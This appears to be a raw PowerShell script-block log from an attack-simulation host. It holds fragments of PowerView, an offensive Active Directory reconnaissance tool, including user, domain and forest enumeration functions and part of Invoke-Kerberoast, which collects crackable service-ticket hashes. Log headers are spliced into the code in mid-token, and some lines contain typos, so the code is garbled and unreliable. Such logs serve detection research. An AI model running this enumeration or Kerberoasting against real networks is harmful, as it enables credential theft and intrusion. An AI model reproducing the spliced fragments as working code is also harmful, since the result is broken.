[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $Serveb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110277Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local841Size'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}
if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds useb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110275Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local641t format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
